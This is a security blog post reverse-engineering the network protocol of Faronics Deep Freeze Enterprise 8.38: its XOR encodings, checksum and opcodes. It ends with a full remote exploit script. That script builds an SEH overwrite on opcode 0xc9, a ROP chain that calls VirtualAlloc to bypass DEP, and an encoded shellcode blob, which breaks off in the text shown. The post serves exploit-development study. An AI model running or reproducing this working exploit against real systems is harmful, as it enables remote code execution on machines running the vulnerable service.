Kernels and Cats
  • About
  • All posts
  • CTF Challenges
  • Lab Compendium
  • Random Fun Facts

A Deep Dive into Faronics Deep Freeze Enterprise [Legacy Windows Software] - Fri, Dec 22, 2023

TLDR

Faronics Deep Freeze Enterprise version 8.38.220.5256 is vulnerable to a stack buffer overflow vulnerability. It uses 2 XOR encoding schemes, as well as an additional third checksum, to ensure that the packets sent to it are valid. As DEP is enabled, the stack buffer overflow can be exploited by building a ROP chain with a dummy VirtualAlloc skeleton, patching the arguments in, and performing a stack pivot to call VirtualAlloc and finally return to our shellcode.

Table of Contents

  1. Introduction to Faronics
  2. Basic Analysis
  3. Wireshark
  4. XOR Part One
  5. XOR Part Two
  6. Protocol Header and encode_three Checksum
  7. Opcode Jumptable
  8. The Rabbit Hole
  9. The Actual Vulnerable Opcode

Introduction to Faronics

Faronics Deep Freeze Enterprise is software that aims to protect endpoints by saving a snapshot of a computer’s desired configuration and settings, and allowing a revert to its previous state when desired. Version 8.38.220.5256, being old Windows software published in 2017, also makes it a perfect target for OSED practise :D This was a very interesting target to practise Windows reverse engineering on as the XOR encoding schemes it uses somehow feel very CTF-y, which was something I did not expect to see in real software!

(Disclaimer 1: This post contains spoilers. Proceed at your own risk!)

(Disclaimer 2: I wrote this quite a while later after I have pwned Faronics; if I do write any garbage, please correct me!)

Basic Analysis

A quick look using TCPView from the SysInternals suite shows us that it is listening on both TCP and UDP port 7725 for connections.

Faronics TCPView

I then opened the binary (DFServerService.exe) in IDA (note that the executable is packed with UPX; it must first be unpacked before reversing), and realized that at the function at 0x0045EBE0, there were two other functions, 0x0045EB58 and 0x0045EACC, which both called recv. Wanting to make my life easier, I opened the binary in WinDBG, set breakpoints on WSOCK32!recv, made a simple script using pwntools to send 1000 As, and tried to see what would happen. I realized that the function with the recv call at 0x0045EB58 would be called first, but as once my script finished executing it closed the socket, and hence the recv would fail. Adding a pause() after sending the As helped, and I realized that recv was called twice; the call at 0x0045EB58 was to receive the number of bytes that would be received as data, and the second call at 0x0045EACC was to actually receive the data.

However, as there was a lot of assembly code (we are not allowed to use a decompiler in the OSED) and I was lazy, instead of looking through the pile of assembly after the recv calls, I turned to wireshark to help me in my analysis.

Wireshark

I pulled Wireshark onto the debugging machine where Faronics was installed, and started pressing random things in the admin control panel to try to trigger messages sent by the admin panel to DFServerService in an attempt to get an easy pass on understanding the protocol. The local admin panel also initiates a connection to the server service via port 7725, so if we sniff traffic on localhost, we would be able to see all communication between the server service and the admin.

Faronics Admin Console

(The Faronics Deep Freeze Admin Console – in this case, the admin console on localhost is connected to the server service running on port 7725. I performed random operations such as the Add Group as shown above to try to trigger messages which I could capture.)

After sniffing the traffic on wireshark, I could see the message sending the length and data very clearly. The packet containing the length of the data is as such:

Faronics packet with length of data

And the packet containing the data (which is currently gibberish):

Faronics data packet

And an actual wireshark:

Shork

Apparently the sharks will attack internet cables as the cables generate an electric field, possibly making the sharks (which are very sensitive to electromagnetic fields due to special organs known as ampullae of Lorenzini) think of them as prey.

Anyways, we can clearly see that the data is being encoded in some form, which means that we have to reverse engineer some form of encoding mechanism. From the IDA screenshot below, you can see the function that calls recv for the size, as well as for the data. After the data has been successfully received, code execution proceeds to 0x0045EE0B, and then 0x0045EE31, where it will call the “do_encrypt_and_checksum” function at 0x0045E36C.

Faronics IDA recv functions

Faronics IDA right before do_encrypt_and_checksum

Inside the do_encrypt_and_checksum function at 0x0045E36C, there is another function “do_encrypt_and_memcpy” (sorry for the shitty names) at 0x0046F074, which will call two functions “do_xor_part_one” at 0x0046F220 and “do_xor_part_two” at 0x0046F1B4. This is where the fun begins.

Faronics IDA in do_encrypt_and_checksum

Faronics IDA in do_encrypt_and_memcpy

XOR Part One

The gist of the XOR algorithm is this: an XOR key array will be generated based on a certain seed, and then each of the bytes of the payload would be XORed with its respective key byte.

The “do_xor_part_one” function at 0x0046F220 will first call “generate_xor_one_key” at 0x004B04DC.

Faronics IDA in do_xor_part_one calling generate_xor_one_key

In the “generate_xor_one_key” function at 0x004B04DC, a seed value from DFServerService+0x5ed208 will first be extracted. Note that the seed value is generated based on the customization code entered when Faronics is installed. In this case, the customization code I used was “meowmeow”, which led to a seed value of 0x0c6e3d57. I suspect the seed value is generated by some hashing algorithm in the DFInit.exe executable that runs once Faronics has been installed, but that would be another reversing adventure for another day. Another value at DFServerService+0x5ed208+4 will be zeroed out – this value will be important later, and I will call this “value2”. After that is all done, the “generate_xor_one_key_actual_math” function at 0x004B04F8 will be called – this is the first part of the actual math to generate the key_array.

Faronics IDA in generate_xor_one_key

Some math is then done in “generate_xor_one_key_actual_math” to kick off the key generation process for the first XOR:

Faronics IDA in generate_xor_one_key_actual_math

These are the helper functions that I have used to make life a little easier:

def truncate(num): 
    num = num & 0xffffffff
    return num

def complement(val):
    nbits = 32
    if val >= 0: 
        return val
    else: 
        return (val + (1 << nbits)) % (1 << nbits)    

def bit_not(n, numbits=4):
    return (1 << numbits) - 1 - n

I have translated the logic into python to make it easier to understand:

def gen_key_xor1(num):
    key_arr = [] 
    printable = []
    seed = 0x0c6e3d57 ## for meowmeow as the customization code
    value2 = 0x0
    seed = truncate(seed * 0x15a4e35)
    seed = truncate(seed + 1)
    for i in range(num): 
        if i == 0: 
            part1 = seed * 0x15a
            part2 = seed * 0x4e35
            part2_high = part2 >> 4*8
            part2_low = truncate(part2)
            part1 = truncate(part2_high + part1)
            part2_low = truncate(part2 + 1)
            seed = part2_low
            value2 = truncate(part1)
...

Both seed and value2 are modified by the function, and will be further modified later in a loop in the XOR operation.

After the seed value and value2 have been initialized, the loop to perform the XOR operation begins.

Faronics IDA XOR one loop

Returning back to “do_xor_part_one” at 0x0046F220, another function “generate_xor_one_key_actual_math_2” at 0x004B051C is then called to generate the values of the XOR key. Note that after “generate_xor_one_key_actual_math_2” is done, there is an additional and eax, 0x800000FF step in “do_xor_part_one”. The line xor [ecx+eax], dl then performs the actual XOR operation.

Faronics IDA in generate_xor_one_key_actual_math_2

I have also implemented this in python (hopefully this is readable; this is spaghetti code whoops) – continuing from the code above:

        else: 
            part2 = value2 * 0x4e35
            part1 = seed * 0x15a
            addition = truncate(truncate(part1) + truncate(part2))
            part3 = seed * 0x4e35
            part3_high = part3 >> 4*8
            part3_low = truncate(part3)
            addition = truncate(part3_high + addition)
            seed = truncate(part3_low + 1)
            value2 = addition
        result = value2 & 0x7fffffff
        result = result & 0x800000ff
        key_arr.append(result)
        printable.append(hex(result))
    #print(printable)
    return key_arr

XOR Part Two

Once “do_xor_part_one” is complete, it returns back to “do_encrypt_and_memcpy” at 0x0046F074, which will then call “do_xor_part_two” at 0x0046F1B4. “do_xor_part_two” will take the first 4 bytes of the payload decrypted by the first XOR scheme as the seed, and will start decrypting from the start of the payload + 4.

“do_xor_part_two” will first call “generate_xor_two_key” at 0x0046F150, which will initialize the key generator by doing some math on the seed. The actual loop that performs the XOR operation will then start after the key generator has been initialized, and will call “generate_xor_two_key” for every loop. Similarly, the XOR operation is performed by the instruction xor [ecx+eax], dl.

Faronics IDA in do_xor_part_two

The function “generate_xor_two_key” at 0x0046F150 can be seen here:

Faronics IDA in generate_xor_two_key

I have also converted this XOR encoding scheme into a python function to generate the key array:

def gen_key_xor2(num, header):
    key_arr = [] 
    printable = []
    ax = 0
    for i in range(num): 
        if i == 0: 
            quotient = header // 0xb1
            remainder = header % 0xb1
            ecx = 0xab * remainder
            part1 = quotient + quotient
            neg = complement(ecx - part1)
            ax = neg & 0xffff
            ax = ax & 0x7fff
        ax_quotient = ax // 0xb1 ## ecx
        ax_remainder = ax % 0xb1 ## edx
        ecx = truncate(ax_remainder * 0xab)
        ax = truncate(ax_quotient + ax_quotient) 
        ecx = truncate(complement(ecx - ax))
        ecx = ecx & 0x7fff ## eax
        ax = ecx
        result = ecx & 0xff
        key_arr.append(result)
        printable.append(hex(result))
    #print(printable)
    return key_arr

By this point, we have all we need to decode the encoded messages in wireshark! For example, for a “list groups” message, after decoding with 2 XOR operations (does not include part of the header):

bytearray(b'\x00\xff\xfe<\x00?\x00x\x00m\x00l\x00 \x00v\x00e\x00r\x00s\x00i\x00o\x00n\x00=\x00"\x001\x00.\x000\x00"\x00 \x00e\x00n\x00c\x00o\x00d\x00i\x00n\x00g\x00=\x00"\x00U\x00T\x00F\x00-\x001\x006\x00"\x00?\x00>\x00\r\x00\n\x00<\x00G\x00r\x00o\x00u\x00p\x00s\x00>\x00\r\x00\n\x00\t\x00<\x00G\x00r\x00o\x00u\x00p\x001\x00 \x00N\x00a\x00m\x00e\x00=\x00"\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00"\x00 \x00I\x00d\x00=\x00"\x001\x00"\x00 \x00U\x00s\x00e\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00=\x00"\x000\x00"\x00 \x00F\x00i\x00l\x00t\x002\x00=\x00"\x001\x00"\x00 \x00P\x00a\x00r\x00e\x00n\x00t\x00I\x00d\x00=\x00"\x000\x00"\x00>\x00\r\x00\n\x00\t\x00\t\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00\r\x00\n\x00\t\x00\t\x00\t\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00/\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00\r\x00\n\x00\t\x00<\x00/\x00G\x00r\x00o\x00u\x00p\x001\x00>\x00\r\x00\n\x00\t\x00<\x00G\x00r\x00o\x00u\x00p\x002\x00 \x00N\x00a\x00m\x00e\x00=\x00"\x00t\x00e\x00s\x00t\x00t\x00e\x00s\x00t\x00"\x00 \x00I\x00d\x00=\x00"\x002\x00"\x00 \x00U\x00s\x00e\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00=\x00"\x000\x00"\x00 \x00F\x00i\x00l\x00t\x002\x00=\x00"\x001\x00"\x00 \x00P\x00a\x00r\x00e\x00n\x00t\x00I\x00d\x00=\x00"\x000\x00"\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00/\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00<\x00/\x00G\x00r\x00o\x00u\x00p\x002\x00>\x00<\x00G\x00r\x00o\x00u\x00p\x004\x00 \x00N\x00a\x00m\x00e\x00=\x00"\x00m\x00e\x00o\x00w\x00c\x00a\x00t\x00s\x00"\x00 \x00I\x00d\x00=\x00"\x004\x00"\x00 \x00U\x00s\x00e\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00=\x00"\x000\x00"\x00 \x00F\x00i\x00l\x00t\x002\x00=\x00"\x001\x00"\x00 \x00P\x00a\x00r\x00e\x00n\x00t\x00I\x00d\x00=\x00"\x001\x00"\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00/\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00<\x00/\x00G\x00r\x00o\x00u\x00p\x004\x00>\x00<\x00G\x00r\x00o\x00u\x00p\x005\x00 \x00N\x00a\x00m\x00e\x00=\x00"\x00h\x00i\x00h\x00i\x00"\x00 \x00I\x00d\x00=\x00"\x005\x00"\x00 \x00U\x00s\x00e\x00F\x00i\x00l\x00t\x00e\x00r\x00s')

The characters inside use the Windows wchar type, so to make this more readable, I removed all the preceding null bytes to get the corresponding ASCII characters (does not include part of the header but those parts do not decode to nice ASCII bytes):

bytearray(b'97\x08\x14X\xa9\xf6\x01\\\x08\\\x08\x01\xf8\x01\xff\xfe<?xml version="1.0" encoding="UTF-16"?>\r\n<Groups>\r\n\t<Group1 Name="catcatcatcatcatcatcatcat" Id="1" UseFilters="0" Filt2="1" ParentId="0">\r\n\t\t<Filters>\r\n\t\t\t<Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/><Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/></Filters>\r\n\t</Group1>\r\n\t<Group2 Name="testtest" Id="2" UseFilters="0" Filt2="1" ParentId="0"><Filters><Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/><Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/></Filters></Group2><Group4 Name="meowcats" Id="4" UseFilters="0" Filt2="1" ParentId="1"><Filters><Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/><Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/></Filters></Group4><Group5 Name="hihi" Id="5" UseFilters')

For this particular message, part of the decoded header was as such:

Padding 1 (offset): 0x10
Checksum 1: 0xa953
Padding 2: 0x870
Length (P1+P2): 0x880
Checksum 4: 0x8373900 
Checksum 3: 0x14
Checksum 2: 0xa958
Opcode: 0x1f6

Protocol Header and encode_three Checksum

Through further reverse engineering and looking at certain checksums from the decoded Wireshark messages, the message header was determined to have the following structure:

0x00 - 0x03: XOR 2 seed
0x04 - 0x07: Offset
0x08 - 0x0b: Checksum 1 (0x0a953)
0x0c - 0x0f: Length of payload - offset
0x10 - 0x13: encode_three Checksum
0x14 - 0x17: Checksum 3 (0x14)
0x18 - 0x1b: Checksum 2 (0xa958)
0x1c - 0x1f: Opcode
0x20 - 0x23: Size (?)
0x24 - 0x27: Size (?)

Before proceeding to the opcode jumptable, there is a final “encode_three” checksum check (it’s only called that because that was the name of the function in my python code) to ensure that the message is valid.

After “do_encrypt_and_memcpy” returns back into “do_encrypt_and_checksum” at 0x0045E36C, “do_checksums” at 0x0046EED4 is called.

Faronics IDA in do_encrypt_and_checksum calling do_checksums

“do_checksums” will first check if checksum 1 (header 0x08 - 0x0b) is equals to 0x0a953 via the instruction cmp dword ptr [edx+8], 0A958h, before calling “do_encode_three_checksum” at 0x007A921C to proceed with the next check.

Faronics IDA in do_checksums

“do_encode_three_checksum” will calculate a checksum based on all the data starting from byte 0x14 onwards.

Faronics IDA in do_encode_three_checksum

I have translated the asm code logic into python:

def encode_three(msg, count):
    buffer = msg 
    variable = 0 ## edx
    eax = 0
    counter = count
    var2 = 0
    for i in range(count):
        eax = truncate(eax << 4)
        eax = buffer[i] + eax 
        variable = eax
        variable = variable & 0xF0000000
        if variable == 0: 
            variable = 0xffffffff
            eax = variable & eax
            counter += 1
        else: 
            var2 = variable
            variable = truncate(variable >> 0x18)
            eax = truncate(eax ^ variable)
            var2 = complement(~var2)
            eax = eax & var2 
    return eax

Back to “do_checksums”, once “do_encode_three_checksum” is complete, a check is done to make sure that the computed checksum is equal to the checksum provided in payload bytes 0x10 to 0x13. This is done via the cmp edx, [ecx] instruction.

Once this is done, the opcode jumptable will finally be called!

Opcode Jumptable

Back in “do_encrypt_and_checksum”, .text:0045E42F call dword ptr [ecx+810h] will call a function “do_create_thread_call_jumptable” at 0x0042E370, which will create a new thread, which will call a function “do_fn_before_jumptable” at 0x042F970, which will finally call the jumptable function at 0x0042FA18.

Look at this absolutely horrifying giant function:

Faronics IDA jumptable

I then started trying to find opcodes which were potentially exploitable. There are many many ways to crash the binary, but I wanted something that would give me RCE. I mainly took a fuzzing approach to this, since there were really a lot a lot of opcodes.

The Rabbit Hole

I chanced upon opcode 0x1f6, which gave me my first crash and made me stupidly excited that I could finally pwn this damn thing. This would lead to a crash at 0x0043e2e7, as it tries to dereference edx, which is a register that we can control. Causing an invalid dereference will allow us to overwrite the SEH handler, and replacing edx with a valid pointer will give us a direct EIP overwrite!

The data section of a payload to overwrite EIP would look something like this:

data = p32(0x14) # Checksum 3
data += p32(0xa958) ## Checksum 2
data += p32(0x1f6) ## Opcode
data += p32(size) ## Size (?)
data += p32(size) ## Size (?)
data += b"ZZZZ"
data += p32(0x145) ## Second opcode for opcode 0x1f6
data += cyclic(cyclic_find("aacc"))
data += p32(0xdeadbeef) ## EIP overwrite
data += p32(0x0135faf0) ## Valid pointer for edx

We can overwrite EIP with 0xdeadbeef, but naturally we would want to overwrite it with something that is actually useful. However, all the pointers in the DFServerService executable start with \x00, which is a bad character! This means that if we overwrite EIP with a pointer from DFServerService, we will no longer be able to control the value inside edx, hence the condition to cause the direct EIP overwrite will not be fulfilled :(((

I spent a lot of time thinking of ways around this, but could not, and sadly had to abandon this opcode and write it off as a Denial of Service instead of an RCE :((((

The Actual Vulnerable Opcode

I then went back to fuzzing, and chanced upon opcode 0xc9. Spamming a lot of As gave me a SEH overwrite this time, which I could now use to kickstart my ROP chain :DDD

Note that in this case, \x00 is not a bad character on its own, but \x00\x00 is a bad character. This is likely due to wchar being used, and \x00\x00 would equate to a “wchar null byte”.

Now that we control EIP, we can create the VirtualAlloc skeleton and build our ROP chain and finally get a shell!

The full exploit is here:

#!/bin/python3

import socket
from pwn import *
from time import sleep

#context.log_level = "debug"
proc = remote("192.168.185.10", 7725)

def truncate(num): 
    num = num & 0xffffffff
    return num

def complement(val):
    nbits = 32
    if val >= 0: 
        return val
    else: 
        return (val + (1 << nbits)) % (1 << nbits)    

def bit_not(n, numbits=4):
    return (1 << numbits) - 1 - n

def gen_key_xor1(num):
    key_arr = [] 
    printable = []
    seed = 0x0c6e3d57 ## for meowmeow as the customization code
    value2 = 0x0
    seed = truncate(seed * 0x15a4e35)
    seed = truncate(seed + 1)
    for i in range(num): 
        if i == 0: 
            part1 = seed * 0x15a
            part2 = seed * 0x4e35
            part2_high = part2 >> 4*8
            part2_low = truncate(part2)
            part1 = truncate(part2_high + part1)
            part2_low = truncate(part2 + 1)
            seed = part2_low
            value2 = truncate(part1)
        else: 
            part2 = value2 * 0x4e35
            part1 = seed * 0x15a
            addition = truncate(truncate(part1) + truncate(part2))
            part3 = seed * 0x4e35
            part3_high = part3 >> 4*8
            part3_low = truncate(part3)
            addition = truncate(part3_high + addition)
            seed = truncate(part3_low + 1)
            value2 = addition
        result = value2 & 0x7fffffff
        result = result & 0x800000ff
        key_arr.append(result)
        printable.append(hex(result))
    #print(printable)
    return key_arr

def gen_key_xor2(num, header):
    key_arr = [] 
    printable = []
    ax = 0
    for i in range(num): 
        if i == 0: 
            quotient = header // 0xb1
            remainder = header % 0xb1
            ecx = 0xab * remainder
            part1 = quotient + quotient
            neg = complement(ecx - part1)
            ax = neg & 0xffff
            ax = ax & 0x7fff
        ax_quotient = ax // 0xb1 ## ecx
        ax_remainder = ax % 0xb1 ## edx
        ecx = truncate(ax_remainder * 0xab)
        ax = truncate(ax_quotient + ax_quotient) 
        ecx = truncate(complement(ecx - ax))
        ecx = ecx & 0x7fff ## eax
        ax = ecx
        result = ecx & 0xff
        key_arr.append(result)
        printable.append(hex(result))
    #print(printable)
    return key_arr

def decode(msg): 
    key1 = gen_key_xor1(len(msg))
    for i in range(len(msg)): 
        msg[i] = msg[i] ^ key1[i]
        
    thing = u32(msg[:4], endian="little")
    key2 = gen_key_xor2(len(msg)-4, thing)
    for i in range(len(msg)-4): 
        msg[i+4] = msg[i+4] ^ key2[i]
    return msg
    
def decode_print(dec): 
    print("Padding 1 (offset): " + hex(u32(dec[4:8])))
    print("Checksum 1: " + hex(u32(dec[8:12])))
    print("Padding 2: " + hex(u32(dec[12:16])))
    print("Length (P1+P2): " + hex((u32(dec[4:8]))+u32(dec[12:16])))
    print("Checksum 4: " + hex(u32(dec[4*4:4*4+4]))) 
    print("Checksum 3: " + hex(u32(dec[5*4:5*4+4])))
    print("Checksum 2: " + hex(u32(dec[6*4:6*4+4])))
    print("Opcode: " + hex(u32(dec[7*4:7*4+4])))

def encode_widestr(msg): 
    return b'\x00'.join(msg[i:i+1] for i in range(0, len(msg)))+b"\x00"

def encode_three(msg, count):
    buffer = msg 
    variable = 0 ## edx
    eax = 0
    counter = count
    var2 = 0
    for i in range(count):
        eax = truncate(eax << 4)
        eax = buffer[i] + eax 
        variable = eax
        variable = variable & 0xF0000000
        if variable == 0: 
            variable = 0xffffffff
            eax = variable & eax
            counter += 1
        else: 
            var2 = variable
            variable = truncate(variable >> 0x18)
            eax = truncate(eax ^ variable)
            var2 = complement(~var2)
            eax = eax & var2 
    return eax

## SIZE IS HERE
size = 0x1500

## Send size of data packet
padding = p32(size, endian="big")
payload = padding
proc.send(payload)

## Generate xor keys
key1 = gen_key_xor1(size+0x1000)
key2 = gen_key_xor2(size+0x1000, 0x73746163)

header = b"cats" ## XOR2 seed
header += p32(0x10) ## Offset
header += p32(0x0a953) ## Checksum 1
header += p32(size-0x10) ## len(payload)
## 0x10-0x13: encode_three checksum
data = p32(0x14) # Checksum 3
data += p32(0xa958) ## Checksum 2
data += p32(0xc9) ## Opcode
data += p32(size) ## Size
data += p32(size) ## Size

data += b"Z"*(cyclic_find("bkja"))
data += p32(0x00441ec6) ## first ROP point -- xchg esp, eax ; ret

## ROP1: Write VirtualAlloc address
rop1 = b"Z"*(cyclic_find("faaa"))
rop1 += p32(0x00542afb) ## ret 0x20
rop1 += p32(0x005039bd) ## mov eax, edx ; ret
rop1 += p32(0x41414141) ## VirtualAlloc
rop1 += p32(0x42424242) ## Return address
rop1 += p32(0x43434343) ## lpAddress
rop1 += p32(0x44444444) ## dwSize
rop1 += p32(0x45454545) ## flAllocationType
rop1 += p32(0x46464646) ## flProtect
rop1 += b"Z"*cyclic_find("caaa")
rop1 += p32(0x00402a35) ## pop ebp ; ret
rop1 += p32(0xffffffa8) ## -0x58
rop1 += p32(0x004e041b) ## add eax, ebp ; ret
rop1 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop1 += p32(0xffffffff) ## dummy ebp
rop1 += p32(0x004d76f4) ## pop eax ; ret
rop1 += p32(0x00A508AC) ## VirtualAlloc IAT 
rop1 += p32(0x006700c4) ## mov eax, dword ptr [eax] ; ret
rop1 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret

## Write Return Address
rop1 += p32(0x005039bd) ## mov eax, edx ; ret
rop1 += p32(0x004a55fb) ## pop ecx ; ret
rop1 += p32(0xfffffffc) ## -4
rop1 += p32(0x006654c2) ## sub eax, ecx ; ret
rop1 += p32(0x00542afb) ## ret 0x20
rop1 += p32(0x004023c1) ## ret

rop2 = b"Z"*(cyclic_find("haaa")) 
rop2 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop2 += p32(0xffffffff) ## dummy ebp
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffffe4c) ## -0x1b4
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret

## Write lpAddress
rop2 += p32(0x005039bd) ## mov eax, edx ; ret
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffffffc) ## -4
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop2 += p32(0xffffffff) ## dummy ebp
rop2 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret

## Write dwSize
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffffffc) ## -4
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop2 += p32(0xffffffff) ## dummy ebp
rop2 += p32(0x004d76f4) ## pop eax ; ret
rop2 += p32(0xffffffff) 
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffff6ff) ## 0xffffffff-0xfffff6ff = 0x900
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret

## Write flAllocationType
rop2 += p32(0x005039bd) ## mov eax, edx ; ret
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffffffc) ## -4
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop2 += p32(0xffffffff) ## dummy ebp
rop2 += p32(0x004d76f4) ## pop eax ; ret
rop2 += p32(0xffffffff) 
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xffffefff) ## 0xffffffff-0xffffefff = 0x1000
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret

## Write flProtect
rop2 += p32(0x005039bd) ## mov eax, edx ; ret
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffffffc) ## -4
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop2 += p32(0xffffffff) ## dummy ebp
rop2 += p32(0x004d76f4) ## pop eax ; ret
rop2 += p32(0xffffffff) 
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xffffffbf) ## 0xffffffff-0xffffffbf = 0x40
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret

## Stack pivot
rop2 += p32(0x005039bd) ## mov eax, edx ; ret
rop2 += p32(0x00402a35) ## pop ebp ; ret
rop2 += p32(0xffffffec) ## -20
rop2 += p32(0x004e041b) ## add eax, ecx ; ret
rop2 += p32(0x00441ec6) ## xchg esp, eax ; ret

data += rop1
data += b"Z"*(cyclic_find("faab")-len(rop1))
data += p32(0x006224cf) ## handler -- popal ; salc ; cld ; call dword ptr [eax - 0x18]
data += rop2
data += cyclic(cyclic_find("baab"))

## Shellcode
shellcode =  b"\x90"*0x100
shellcode += b"\xd9\xf7\xbd\x4c\x81\x23\x79\xd9\x74\x24\xf4"
shellcode += b"\x5a\x2b\xc9\xb1\x52\x83\xc2\x04\x31\x6a\x13"
shellcode += b"\x03\x26\x92\xc1\x8c\x4a\x7c\x87\x6f\xb2\x7d"
shellcode += b"\xe8\xe6\x57\x4c\x28\x9c\x1c\xff\x98\xd6\x70"
shellcode += b"\x0c\x52\xba\x60\x87\x16\x13\x87\x20\x9c\x45"
shellcode += b"\xa6\xb1\x8d\xb6\xa9\x31\xcc\xea\x09\x0b\x1f"
shellcode += b"\xff\x48\x4c\x42\xf2\x18\x05\x08\xa1\x8c\x22"
shellcode += b"\x44\x7a\x27\x78\x48\xfa\xd4\xc9\x6b\x2b\x4b"
shellcode += b"\x41\x32\xeb\x6a\x86\x4e\xa2\x74\xcb\x6b\x7c"
shellcode += b"\x0f\x3f\x07\x7f\xd9\x71\xe8\x2c\x24\xbe\x1b"
shellcode += b"\x2c\x61\x79\xc4\x5b\x9b\x79\x79\x5c\x58\x03"
shellcode += b"\xa5\xe9\x7a\xa3\x2e\x49\xa6\x55\xe2\x0c\x2d"
shellcode += b"\x59\x4f\x5a\x69\x7e\x4e\x8f\x02\x7a\xdb\x2e"
shellcode += b"\xc4\x0a\x9f\x14\xc0\x57\x7b\x34\x51\x32\x2a"
shellcode += b"\x49\x81\x9d\x93\xef\xca\x30\xc7\x9d\x91\x5c"
shellcode += b"\x24\xac\x29\x9d\x22\xa7\x5a\xaf\xed\x13\xf4"
shellcode += b"\x83\x66\xba\x03\xe3\x5c\x7a\x9b\x1a\x5f\x7b"
shellcode += b"\xb2\xd8\x0b\x2b\xac\xc9\x33\xa0\x2c\xf5\xe1"
shellcode += b"\x67\x7c\x59\x5a\xc8\x2c\x19\x0a\xa0\x26\x96"
shellcode += b"\x75\xd0\x49\x7c\x1e\x7b\xb0\x17\xe1\xd4\x97"
shellcode += b"\x17\x89\x26\xe7\xd6\xf1\xae\x01\xb2\x15\xe7"
shellcode += b"\x9a\x2b\x8f\xa2\x50\xcd\x50\x79\x1d\xcd\xdb"
